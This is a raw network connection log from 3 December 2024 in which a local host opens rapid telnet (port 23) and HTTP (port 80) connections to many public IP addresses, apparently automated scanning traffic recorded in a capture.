Dec 3, 2024 21:01:57.956634045 CET	19873	23	192.168.2.23	70.69.198.46
Dec 3, 2024 21:01:57.956638098 CET	19873	23	192.168.2.23	31.36.252.253
Dec 3, 2024 21:01:57.956641912 CET	19873	23	192.168.2.23	91.186.137.207
Dec 3, 2024 21:01:57.956655979 CET	19873	23	192.168.2.23	39.210.103.63
Dec 3, 2024 21:01:57.956662893 CET	19873	23	192.168.2.23	135.37.194.154
Dec 3, 2024 21:01:57.956665039 CET	19873	23	192.168.2.23	45.127.59.134
Dec 3, 2024 21:01:57.956665039 CET	19873	23	192.168.2.23	8.157.205.139
Dec 3, 2024 21:01:57.956667900 CET	19873	23	192.168.2.23	163.59.18.217
Dec 3, 2024 21:01:57.956667900 CET	19873	23	192.168.2.23	27.164.113.186
Dec 3, 2024 21:01:57.956671000 CET	19873	23	192.168.2.23	71.2.119.59
Dec 3, 2024 21:01:57.956681013 CET	19873	23	192.168.2.23	206.170.218.202
Dec 3, 2024 21:01:57.956681013 CET	19873	23	192.168.2.23	182.230.45.98
Dec 3, 2024 21:01:57.956691980 CET	19873	23	192.168.2.23	172.133.63.204
Dec 3, 2024 21:01:57.956693888 CET	19873	23	192.168.2.23	162.54.61.189
Dec 3, 2024 21:01:57.956700087 CET	19873	23	192.168.2.23	141.23.251.73
Dec 3, 2024 21:01:57.956700087 CET	19873	23	192.168.2.23	161.37.135.196
Dec 3, 2024 21:01:57.956707001 CET	19873	23	192.168.2.23	104.79.49.229
Dec 3, 2024 21:01:57.956707001 CET	19873	23	192.168.2.23	157.1.83.197
Dec 3, 2024 21:01:57.956713915 CET	19873	23	192.168.2.23	99.65.144.166
Dec 3, 2024 21:01:57.956722021 CET	19873	23	192.168.2.23	150.157.48.227
Dec 3, 2024 21:01:57.956728935 CET	19873	23	192.168.2.23	91.243.97.132
Dec 3, 2024 21:01:57.956734896 CET	19873	23	192.168.2.23	158.67.50.171
Dec 3, 2024 21:01:57.956738949 CET	19873	23	192.168.2.23	190.200.164.166
Dec 3, 2024 21:01:57.956743002 CET	19873	23	192.168.2.23	131.126.95.124
Dec 3, 2024 21:01:57.956756115 CET	19873	23	192.168.2.23	192.68.125.26
Dec 3, 2024 21:01:57.956760883 CET	19873	23	192.168.2.23	97.124.2.198
Dec 3, 2024 21:01:57.956762075 CET	19873	23	192.168.2.23	208.239.33.142
Dec 3, 2024 21:01:57.956762075 CET	19873	23	192.168.2.23	210.170.122.46
Dec 3, 2024 21:01:57.956769943 CET	19873	23	192.168.2.23	83.43.3.85
Dec 3, 2024 21:01:57.956773996 CET	19873	23	192.168.2.23	187.110.237.157
Dec 3, 2024 21:01:57.956789017 CET	19873	23	192.168.2.23	223.34.107.240
Dec 3, 2024 21:01:57.956792116 CET	19873	23	192.168.2.23	141.126.230.179
Dec 3, 2024 21:01:57.956792116 CET	19873	23	192.168.2.23	207.37.121.52
Dec 3, 2024 21:01:57.956805944 CET	19873	23	192.168.2.23	173.145.39.215
Dec 3, 2024 21:01:57.956809044 CET	19873	23	192.168.2.23	66.240.222.102
Dec 3, 2024 21:01:57.956809998 CET	19873	23	192.168.2.23	110.82.171.203
Dec 3, 2024 21:01:57.956824064 CET	19873	23	192.168.2.23	119.37.93.176
Dec 3, 2024 21:01:57.956826925 CET	19873	23	192.168.2.23	38.87.233.105
Dec 3, 2024 21:01:57.956826925 CET	19873	23	192.168.2.23	2.26.196.135
Dec 3, 2024 21:01:57.956832886 CET	19873	23	192.168.2.23	19.202.90.219
Dec 3, 2024 21:01:57.956832886 CET	19873	23	192.168.2.23	113.227.174.170
Dec 3, 2024 21:01:57.956837893 CET	19873	23	192.168.2.23	131.199.52.140
Dec 3, 2024 21:01:57.956845045 CET	19873	23	192.168.2.23	53.114.28.149
Dec 3, 2024 21:01:57.956866026 CET	19873	23	192.168.2.23	45.250.122.149
Dec 3, 2024 21:01:57.956866980 CET	19873	23	192.168.2.23	152.93.144.251
Dec 3, 2024 21:01:57.956866026 CET	19873	23	192.168.2.23	177.4.91.182
Dec 3, 2024 21:01:57.956867933 CET	19873	23	192.168.2.23	155.76.80.68
Dec 3, 2024 21:01:57.956867933 CET	19873	23	192.168.2.23	155.71.87.229
Dec 3, 2024 21:01:57.956875086 CET	19873	23	192.168.2.23	17.235.202.128
Dec 3, 2024 21:01:57.956876040 CET	19873	23	192.168.2.23	54.234.254.176
Dec 3, 2024 21:01:57.956876040 CET	19873	23	192.168.2.23	181.174.210.251
Dec 3, 2024 21:01:57.956876040 CET	19873	23	192.168.2.23	51.5.220.70
Dec 3, 2024 21:01:57.956876993 CET	19873	23	192.168.2.23	83.183.51.2
Dec 3, 2024 21:01:57.956876040 CET	19873	23	192.168.2.23	102.106.12.168
Dec 3, 2024 21:01:57.956876993 CET	19873	23	192.168.2.23	54.88.188.91
Dec 3, 2024 21:01:57.956876993 CET	19873	23	192.168.2.23	54.210.71.105
Dec 3, 2024 21:01:57.956882954 CET	19873	23	192.168.2.23	67.11.182.28
Dec 3, 2024 21:01:57.956882954 CET	19873	23	192.168.2.23	112.251.10.175
Dec 3, 2024 21:01:57.956886053 CET	19873	23	192.168.2.23	39.191.234.67
Dec 3, 2024 21:01:57.956886053 CET	19873	23	192.168.2.23	194.98.151.174
Dec 3, 2024 21:01:57.956890106 CET	19873	23	192.168.2.23	61.91.234.98
Dec 3, 2024 21:01:57.956890106 CET	19873	23	192.168.2.23	152.165.174.27
Dec 3, 2024 21:01:57.956892014 CET	19873	23	192.168.2.23	115.225.182.96
Dec 3, 2024 21:01:57.956892014 CET	19873	23	192.168.2.23	190.32.184.246
Dec 3, 2024 21:01:57.956893921 CET	19873	23	192.168.2.23	173.93.97.127
Dec 3, 2024 21:01:57.956901073 CET	19873	23	192.168.2.23	151.116.94.10
Dec 3, 2024 21:01:57.956903934 CET	19873	23	192.168.2.23	211.70.226.66
Dec 3, 2024 21:01:57.956904888 CET	19873	23	192.168.2.23	19.13.0.112
Dec 3, 2024 21:01:57.956909895 CET	19873	23	192.168.2.23	164.128.107.130
Dec 3, 2024 21:01:57.956912041 CET	19873	23	192.168.2.23	5.217.157.243
Dec 3, 2024 21:01:57.956912041 CET	19873	23	192.168.2.23	219.130.145.2
Dec 3, 2024 21:01:57.956926107 CET	19873	23	192.168.2.23	31.143.48.63
Dec 3, 2024 21:01:57.956928015 CET	19873	23	192.168.2.23	213.147.177.82
Dec 3, 2024 21:01:57.956928015 CET	19873	23	192.168.2.23	109.55.138.45
Dec 3, 2024 21:01:57.956928015 CET	19873	23	192.168.2.23	137.235.73.15
Dec 3, 2024 21:01:57.956928968 CET	19873	23	192.168.2.23	82.234.132.35
Dec 3, 2024 21:01:57.956943035 CET	19873	23	192.168.2.23	92.158.147.200
Dec 3, 2024 21:01:57.956948042 CET	19873	23	192.168.2.23	147.221.66.158
Dec 3, 2024 21:01:57.956954956 CET	19873	23	192.168.2.23	1.31.210.135
Dec 3, 2024 21:01:57.956962109 CET	19873	23	192.168.2.23	161.107.131.156
Dec 3, 2024 21:01:57.956964970 CET	19873	23	192.168.2.23	162.149.32.102
Dec 3, 2024 21:01:57.956968069 CET	19873	23	192.168.2.23	185.97.205.51
Dec 3, 2024 21:01:57.956974983 CET	19873	23	192.168.2.23	129.77.151.205
Dec 3, 2024 21:01:57.956998110 CET	19873	23	192.168.2.23	45.150.81.6
Dec 3, 2024 21:01:57.956999063 CET	19873	23	192.168.2.23	160.103.222.135
Dec 3, 2024 21:01:57.956999063 CET	19873	23	192.168.2.23	135.54.197.157
Dec 3, 2024 21:01:57.957000971 CET	19873	23	192.168.2.23	8.200.222.67
Dec 3, 2024 21:01:57.957006931 CET	19873	23	192.168.2.23	163.217.211.20
Dec 3, 2024 21:01:57.957007885 CET	19873	23	192.168.2.23	2.96.216.220
Dec 3, 2024 21:01:57.957007885 CET	19873	23	192.168.2.23	106.13.68.181
Dec 3, 2024 21:01:57.957007885 CET	19873	23	192.168.2.23	139.38.206.153
Dec 3, 2024 21:01:57.957009077 CET	19873	23	192.168.2.23	191.54.100.151
Dec 3, 2024 21:01:57.957016945 CET	19873	23	192.168.2.23	85.216.22.122
Dec 3, 2024 21:01:57.957027912 CET	19873	23	192.168.2.23	87.216.32.6
Dec 3, 2024 21:01:57.957027912 CET	19873	23	192.168.2.23	201.142.0.206
Dec 3, 2024 21:01:57.957029104 CET	23	59708	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:57.957037926 CET	19873	23	192.168.2.23	185.114.162.64
Dec 3, 2024 21:01:57.957040071 CET	19873	23	192.168.2.23	5.21.188.199
Dec 3, 2024 21:01:57.957050085 CET	19873	23	192.168.2.23	146.245.30.247
Dec 3, 2024 21:01:57.957052946 CET	19873	23	192.168.2.23	114.4.73.131
Dec 3, 2024 21:01:57.957053900 CET	19873	23	192.168.2.23	67.113.133.53
Dec 3, 2024 21:01:57.957056999 CET	19873	23	192.168.2.23	14.30.209.64
Dec 3, 2024 21:01:57.957067013 CET	19873	23	192.168.2.23	193.191.215.112
Dec 3, 2024 21:01:57.957067013 CET	19873	23	192.168.2.23	197.128.179.179
Dec 3, 2024 21:01:57.957072020 CET	19873	23	192.168.2.23	93.180.129.244
Dec 3, 2024 21:01:57.957072020 CET	19873	23	192.168.2.23	207.173.121.32
Dec 3, 2024 21:01:57.957072020 CET	19873	23	192.168.2.23	135.114.7.36
Dec 3, 2024 21:01:57.957082033 CET	19873	23	192.168.2.23	41.245.241.249
Dec 3, 2024 21:01:57.957087040 CET	19873	23	192.168.2.23	171.41.224.200
Dec 3, 2024 21:01:57.957096100 CET	19873	23	192.168.2.23	111.135.148.171
Dec 3, 2024 21:01:57.957096100 CET	19873	23	192.168.2.23	80.141.95.204
Dec 3, 2024 21:01:57.957103014 CET	19873	23	192.168.2.23	132.224.231.17
Dec 3, 2024 21:01:57.957115889 CET	19873	23	192.168.2.23	222.100.80.12
Dec 3, 2024 21:01:57.957119942 CET	19873	23	192.168.2.23	14.62.242.193
Dec 3, 2024 21:01:57.957122087 CET	19873	23	192.168.2.23	147.187.209.66
Dec 3, 2024 21:01:57.957122087 CET	19873	23	192.168.2.23	8.28.17.86
Dec 3, 2024 21:01:57.957134008 CET	19873	23	192.168.2.23	38.58.242.28
Dec 3, 2024 21:01:57.957139015 CET	19873	23	192.168.2.23	12.193.131.7
Dec 3, 2024 21:01:57.957143068 CET	19873	23	192.168.2.23	176.16.61.138
Dec 3, 2024 21:01:57.957143068 CET	19873	23	192.168.2.23	58.37.2.41
Dec 3, 2024 21:01:57.957164049 CET	19873	23	192.168.2.23	131.58.97.93
Dec 3, 2024 21:01:57.957164049 CET	19873	23	192.168.2.23	126.250.254.238
Dec 3, 2024 21:01:57.957169056 CET	19873	23	192.168.2.23	157.190.216.72
Dec 3, 2024 21:01:57.957169056 CET	19873	23	192.168.2.23	14.243.102.79
Dec 3, 2024 21:01:57.957176924 CET	19873	23	192.168.2.23	59.13.126.23
Dec 3, 2024 21:01:57.957190037 CET	19873	23	192.168.2.23	60.18.68.49
Dec 3, 2024 21:01:57.957206964 CET	19873	23	192.168.2.23	84.145.159.175
Dec 3, 2024 21:01:57.957207918 CET	19873	23	192.168.2.23	204.136.142.18
Dec 3, 2024 21:01:57.957207918 CET	19873	23	192.168.2.23	75.233.136.48
Dec 3, 2024 21:01:57.957209110 CET	19873	23	192.168.2.23	195.235.251.142
Dec 3, 2024 21:01:57.957210064 CET	19873	23	192.168.2.23	63.5.65.0
Dec 3, 2024 21:01:57.957223892 CET	19873	23	192.168.2.23	14.147.150.243
Dec 3, 2024 21:01:57.957262039 CET	50390	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:57.957557917 CET	50420	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:57.957863092 CET	23	49276	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:57.957952976 CET	59708	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:57.958096027 CET	23	49306	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:57.958134890 CET	49306	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:57.958272934 CET	59738	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:57.968610048 CET	23	47194	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:57.968821049 CET	23	47224	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:57.968866110 CET	47224	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:57.969012976 CET	23	41324	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:57.969084978 CET	41324	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:57.969451904 CET	41354	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:57.977269888 CET	23	59270	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:57.977425098 CET	23	59300	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:57.977468014 CET	59300	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:57.984107018 CET	23	59964	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:57.984184980 CET	59964	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:57.984483957 CET	59994	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:57.997344971 CET	23	39036	59.98.201.35	192.168.2.23
Dec 3, 2024 21:01:57.997493029 CET	23	39066	59.98.201.35	192.168.2.23
Dec 3, 2024 21:01:57.997550011 CET	39066	23	192.168.2.23	59.98.201.35
Dec 3, 2024 21:01:58.009999990 CET	23	53222	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:58.010112047 CET	23	53252	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:58.010160923 CET	53252	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:58.071995020 CET	23	45460	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:58.072137117 CET	23	52920	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:58.072235107 CET	23	45490	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:58.072247028 CET	52920	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:58.072299957 CET	45490	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:58.072573900 CET	23	36374	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:58.072737932 CET	52950	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:58.072926998 CET	23	36404	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:58.072969913 CET	36404	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:58.073312998 CET	23	46206	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:58.073648930 CET	23	46236	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:58.073697090 CET	46236	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:58.074012041 CET	23	44544	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:58.074215889 CET	23	44574	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:58.074260950 CET	44574	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:58.074717999 CET	23	42270	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:58.074938059 CET	23	42300	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:58.074973106 CET	42300	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:58.075725079 CET	23	19873	74.222.165.15	192.168.2.23
Dec 3, 2024 21:01:58.075737953 CET	23	19873	154.90.167.86	192.168.2.23
Dec 3, 2024 21:01:58.075748920 CET	23	19873	213.181.255.240	192.168.2.23
Dec 3, 2024 21:01:58.075758934 CET	23	19873	117.150.97.159	192.168.2.23
Dec 3, 2024 21:01:58.075773001 CET	19873	23	192.168.2.23	74.222.165.15
Dec 3, 2024 21:01:58.075788975 CET	19873	23	192.168.2.23	154.90.167.86
Dec 3, 2024 21:01:58.075793982 CET	19873	23	192.168.2.23	213.181.255.240
Dec 3, 2024 21:01:58.075793982 CET	19873	23	192.168.2.23	117.150.97.159
Dec 3, 2024 21:01:58.075795889 CET	23	19873	138.173.110.246	192.168.2.23
Dec 3, 2024 21:01:58.075809956 CET	23	19873	186.77.250.156	192.168.2.23
Dec 3, 2024 21:01:58.075820923 CET	23	19873	156.69.41.119	192.168.2.23
Dec 3, 2024 21:01:58.075834990 CET	23	19873	191.135.159.8	192.168.2.23
Dec 3, 2024 21:01:58.075835943 CET	19873	23	192.168.2.23	138.173.110.246
Dec 3, 2024 21:01:58.075846910 CET	23	19873	207.126.90.35	192.168.2.23
Dec 3, 2024 21:01:58.075848103 CET	19873	23	192.168.2.23	186.77.250.156
Dec 3, 2024 21:01:58.075860977 CET	19873	23	192.168.2.23	156.69.41.119
Dec 3, 2024 21:01:58.075875044 CET	23	19873	154.125.34.171	192.168.2.23
Dec 3, 2024 21:01:58.075879097 CET	19873	23	192.168.2.23	191.135.159.8
Dec 3, 2024 21:01:58.075879097 CET	19873	23	192.168.2.23	207.126.90.35
Dec 3, 2024 21:01:58.075886011 CET	23	19873	132.217.59.229	192.168.2.23
Dec 3, 2024 21:01:58.075896978 CET	23	19873	163.44.41.25	192.168.2.23
Dec 3, 2024 21:01:58.075906038 CET	19873	23	192.168.2.23	154.125.34.171
Dec 3, 2024 21:01:58.075911999 CET	19873	23	192.168.2.23	132.217.59.229
Dec 3, 2024 21:01:58.075917006 CET	23	19873	167.189.66.39	192.168.2.23
Dec 3, 2024 21:01:58.075927019 CET	23	19873	97.182.189.44	192.168.2.23
Dec 3, 2024 21:01:58.075937033 CET	19873	23	192.168.2.23	163.44.41.25
Dec 3, 2024 21:01:58.075953960 CET	19873	23	192.168.2.23	167.189.66.39
Dec 3, 2024 21:01:58.075962067 CET	19873	23	192.168.2.23	97.182.189.44
Dec 3, 2024 21:01:58.076225042 CET	23	19873	153.138.228.91	192.168.2.23
Dec 3, 2024 21:01:58.076247931 CET	23	19873	194.170.168.74	192.168.2.23
Dec 3, 2024 21:01:58.076257944 CET	23	19873	223.51.123.156	192.168.2.23
Dec 3, 2024 21:01:58.076263905 CET	19873	23	192.168.2.23	153.138.228.91
Dec 3, 2024 21:01:58.076271057 CET	23	19873	131.212.63.28	192.168.2.23
Dec 3, 2024 21:01:58.076283932 CET	19873	23	192.168.2.23	194.170.168.74
Dec 3, 2024 21:01:58.076292038 CET	19873	23	192.168.2.23	223.51.123.156
Dec 3, 2024 21:01:58.076294899 CET	23	19873	126.153.254.170	192.168.2.23
Dec 3, 2024 21:01:58.076302052 CET	19873	23	192.168.2.23	131.212.63.28
Dec 3, 2024 21:01:58.076306105 CET	23	19873	80.162.62.248	192.168.2.23
Dec 3, 2024 21:01:58.076333046 CET	19873	23	192.168.2.23	126.153.254.170
Dec 3, 2024 21:01:58.076333046 CET	19873	23	192.168.2.23	80.162.62.248
Dec 3, 2024 21:01:58.076436996 CET	23	19873	38.182.190.152	192.168.2.23
Dec 3, 2024 21:01:58.076452971 CET	23	19873	162.209.3.170	192.168.2.23
Dec 3, 2024 21:01:58.076462984 CET	23	19873	40.2.112.104	192.168.2.23
Dec 3, 2024 21:01:58.076472044 CET	23	19873	160.53.128.130	192.168.2.23
Dec 3, 2024 21:01:58.076479912 CET	19873	23	192.168.2.23	162.209.3.170
Dec 3, 2024 21:01:58.076482058 CET	23	19873	65.178.57.145	192.168.2.23
Dec 3, 2024 21:01:58.076493979 CET	23	19873	129.100.212.37	192.168.2.23
Dec 3, 2024 21:01:58.076493979 CET	19873	23	192.168.2.23	40.2.112.104
Dec 3, 2024 21:01:58.076502085 CET	19873	23	192.168.2.23	38.182.190.152
Dec 3, 2024 21:01:58.076503992 CET	23	19873	43.84.136.135	192.168.2.23
Dec 3, 2024 21:01:58.076513052 CET	19873	23	192.168.2.23	160.53.128.130
Dec 3, 2024 21:01:58.076514006 CET	19873	23	192.168.2.23	65.178.57.145
Dec 3, 2024 21:01:58.076514959 CET	23	19873	62.164.250.32	192.168.2.23
Dec 3, 2024 21:01:58.076523066 CET	19873	23	192.168.2.23	129.100.212.37
Dec 3, 2024 21:01:58.076544046 CET	19873	23	192.168.2.23	43.84.136.135
Dec 3, 2024 21:01:58.076543093 CET	19873	23	192.168.2.23	62.164.250.32
Dec 3, 2024 21:01:58.077128887 CET	23	50390	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:58.077816963 CET	23	59708	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:58.078418016 CET	23	49306	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:58.078483105 CET	49306	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:58.078844070 CET	49336	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:58.089041948 CET	23	47224	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:58.089073896 CET	23	41324	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:58.089106083 CET	47224	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:58.089273930 CET	23	41354	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:58.089313030 CET	41354	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:58.089479923 CET	47254	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:58.097595930 CET	23	59300	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:58.097656012 CET	59300	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:58.097996950 CET	59330	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:58.104540110 CET	23	59964	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:58.104554892 CET	23	59994	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:58.104598999 CET	59994	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:58.118177891 CET	23	39066	59.98.201.35	192.168.2.23
Dec 3, 2024 21:01:58.118259907 CET	39066	23	192.168.2.23	59.98.201.35
Dec 3, 2024 21:01:58.118697882 CET	39096	23	192.168.2.23	59.98.201.35
Dec 3, 2024 21:01:58.130379915 CET	23	53252	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:58.130470037 CET	53252	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:58.130858898 CET	53282	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:58.134099007 CET	50218	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:58.134097099 CET	43098	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:58.134104967 CET	34264	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:58.134108067 CET	56418	80	192.168.2.23	136.20.109.63
Dec 3, 2024 21:01:58.134108067 CET	52140	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:58.134109974 CET	45700	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:58.134119034 CET	56710	80	192.168.2.23	191.53.63.28
Dec 3, 2024 21:01:58.134121895 CET	46586	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:58.134128094 CET	39406	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:58.134130955 CET	55658	23	192.168.2.23	137.162.28.133
Dec 3, 2024 21:01:58.134133101 CET	59076	23	192.168.2.23	186.219.184.25
Dec 3, 2024 21:01:58.134139061 CET	59346	23	192.168.2.23	102.224.117.84
Dec 3, 2024 21:01:58.134139061 CET	39334	23	192.168.2.23	93.217.76.243
Dec 3, 2024 21:01:58.134139061 CET	58982	23	192.168.2.23	161.228.156.130
Dec 3, 2024 21:01:58.134145021 CET	58012	23	192.168.2.23	133.126.108.72
Dec 3, 2024 21:01:58.134146929 CET	34972	23	192.168.2.23	212.126.9.76
Dec 3, 2024 21:01:58.134154081 CET	43280	23	192.168.2.23	90.41.233.25
Dec 3, 2024 21:01:58.134159088 CET	41142	23	192.168.2.23	93.24.43.115
Dec 3, 2024 21:01:58.134162903 CET	42826	23	192.168.2.23	25.149.144.187
Dec 3, 2024 21:01:58.134166956 CET	42574	23	192.168.2.23	106.191.67.72
Dec 3, 2024 21:01:58.134175062 CET	53272	23	192.168.2.23	223.32.223.192
Dec 3, 2024 21:01:58.134176970 CET	40278	23	192.168.2.23	212.140.178.113
Dec 3, 2024 21:01:58.134179115 CET	57062	23	192.168.2.23	141.71.34.25
Dec 3, 2024 21:01:58.134181976 CET	47494	23	192.168.2.23	159.162.107.135
Dec 3, 2024 21:01:58.134186029 CET	58716	23	192.168.2.23	89.252.194.209
Dec 3, 2024 21:01:58.134191990 CET	41142	23	192.168.2.23	176.226.51.86
Dec 3, 2024 21:01:58.134191990 CET	58814	23	192.168.2.23	90.5.151.61
Dec 3, 2024 21:01:58.134202003 CET	39960	23	192.168.2.23	170.111.102.228
Dec 3, 2024 21:01:58.134202003 CET	54406	23	192.168.2.23	58.81.217.224
Dec 3, 2024 21:01:58.134207010 CET	58868	23	192.168.2.23	2.246.212.226
Dec 3, 2024 21:01:58.134208918 CET	53566	23	192.168.2.23	216.240.222.45
Dec 3, 2024 21:01:58.134212971 CET	51632	23	192.168.2.23	75.114.215.27
Dec 3, 2024 21:01:58.134221077 CET	57014	23	192.168.2.23	104.109.134.237
Dec 3, 2024 21:01:58.134221077 CET	58632	23	192.168.2.23	130.55.178.213
Dec 3, 2024 21:01:58.134232044 CET	57294	23	192.168.2.23	152.205.79.27
Dec 3, 2024 21:01:58.134233952 CET	45962	23	192.168.2.23	121.194.175.99
Dec 3, 2024 21:01:58.134238005 CET	51468	23	192.168.2.23	95.84.193.157
Dec 3, 2024 21:01:58.134238005 CET	35074	23	192.168.2.23	54.216.113.134
Dec 3, 2024 21:01:58.134243965 CET	38792	23	192.168.2.23	51.242.243.84
Dec 3, 2024 21:01:58.134244919 CET	58946	23	192.168.2.23	81.199.240.244
Dec 3, 2024 21:01:58.134246111 CET	37794	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:01:58.134255886 CET	50250	23	192.168.2.23	76.138.246.54
Dec 3, 2024 21:01:58.134257078 CET	39732	23	192.168.2.23	198.222.181.139
Dec 3, 2024 21:01:58.134268045 CET	52282	23	192.168.2.23	190.211.38.241
Dec 3, 2024 21:01:58.134268999 CET	45954	23	192.168.2.23	178.26.237.81
Dec 3, 2024 21:01:58.134273052 CET	38946	23	192.168.2.23	154.132.9.16
Dec 3, 2024 21:01:58.135345936 CET	20129	80	192.168.2.23	184.159.156.181
Dec 3, 2024 21:01:58.135351896 CET	20129	80	192.168.2.23	92.215.222.150
Dec 3, 2024 21:01:58.135355949 CET	20129	80	192.168.2.23	60.91.52.139
Dec 3, 2024 21:01:58.135355949 CET	20129	80	192.168.2.23	194.185.66.70
Dec 3, 2024 21:01:58.135360956 CET	20129	80	192.168.2.23	37.48.111.97
Dec 3, 2024 21:01:58.135360956 CET	20129	80	192.168.2.23	126.253.189.75
Dec 3, 2024 21:01:58.135376930 CET	20129	80	192.168.2.23	194.157.241.104
Dec 3, 2024 21:01:58.135377884 CET	20129	80	192.168.2.23	138.170.202.126
Dec 3, 2024 21:01:58.135381937 CET	20129	80	192.168.2.23	177.148.151.231
Dec 3, 2024 21:01:58.135381937 CET	20129	80	192.168.2.23	165.131.243.223
Dec 3, 2024 21:01:58.135387897 CET	20129	80	192.168.2.23	203.132.82.209
Dec 3, 2024 21:01:58.135387897 CET	20129	80	192.168.2.23	157.121.167.212
Dec 3, 2024 21:01:58.135405064 CET	20129	80	192.168.2.23	157.56.0.133
Dec 3, 2024 21:01:58.135405064 CET	20129	80	192.168.2.23	14.17.253.179
Dec 3, 2024 21:01:58.135410070 CET	20129	80	192.168.2.23	120.251.120.172
Dec 3, 2024 21:01:58.135415077 CET	20129	80	192.168.2.23	173.207.108.148
Dec 3, 2024 21:01:58.135416031 CET	20129	80	192.168.2.23	58.195.61.16
Dec 3, 2024 21:01:58.135421038 CET	20129	80	192.168.2.23	184.145.208.234
Dec 3, 2024 21:01:58.135423899 CET	20129	80	192.168.2.23	176.21.11.252
Dec 3, 2024 21:01:58.135426044 CET	20129	80	192.168.2.23	24.212.72.149
Dec 3, 2024 21:01:58.135437012 CET	20129	80	192.168.2.23	39.216.223.112
Dec 3, 2024 21:01:58.135440111 CET	20129	80	192.168.2.23	46.80.134.134
Dec 3, 2024 21:01:58.135456085 CET	20129	80	192.168.2.23	36.193.124.51
Dec 3, 2024 21:01:58.135459900 CET	20129	80	192.168.2.23	183.118.254.63
Dec 3, 2024 21:01:58.135462999 CET	20129	80	192.168.2.23	122.143.44.54
Dec 3, 2024 21:01:58.135467052 CET	20129	80	192.168.2.23	38.157.1.27
Dec 3, 2024 21:01:58.135469913 CET	20129	80	192.168.2.23	220.64.53.202
Dec 3, 2024 21:01:58.135479927 CET	20129	80	192.168.2.23	108.240.190.58
Dec 3, 2024 21:01:58.135482073 CET	20129	80	192.168.2.23	18.44.24.64
Dec 3, 2024 21:01:58.135488987 CET	20129	80	192.168.2.23	117.142.11.173
Dec 3, 2024 21:01:58.135503054 CET	20129	80	192.168.2.23	139.89.235.86
Dec 3, 2024 21:01:58.135505915 CET	20129	80	192.168.2.23	130.86.31.81
Dec 3, 2024 21:01:58.135514021 CET	20129	80	192.168.2.23	123.45.195.237
Dec 3, 2024 21:01:58.135524988 CET	20129	80	192.168.2.23	58.144.252.65
Dec 3, 2024 21:01:58.135535002 CET	20129	80	192.168.2.23	128.36.235.62
Dec 3, 2024 21:01:58.135535955 CET	20129	80	192.168.2.23	4.199.236.107
Dec 3, 2024 21:01:58.135554075 CET	20129	80	192.168.2.23	129.65.231.19
Dec 3, 2024 21:01:58.135555983 CET	20129	80	192.168.2.23	102.14.182.43
Dec 3, 2024 21:01:58.135554075 CET	20129	80	192.168.2.23	102.207.100.160
Dec 3, 2024 21:01:58.135555983 CET	20129	80	192.168.2.23	142.153.231.52
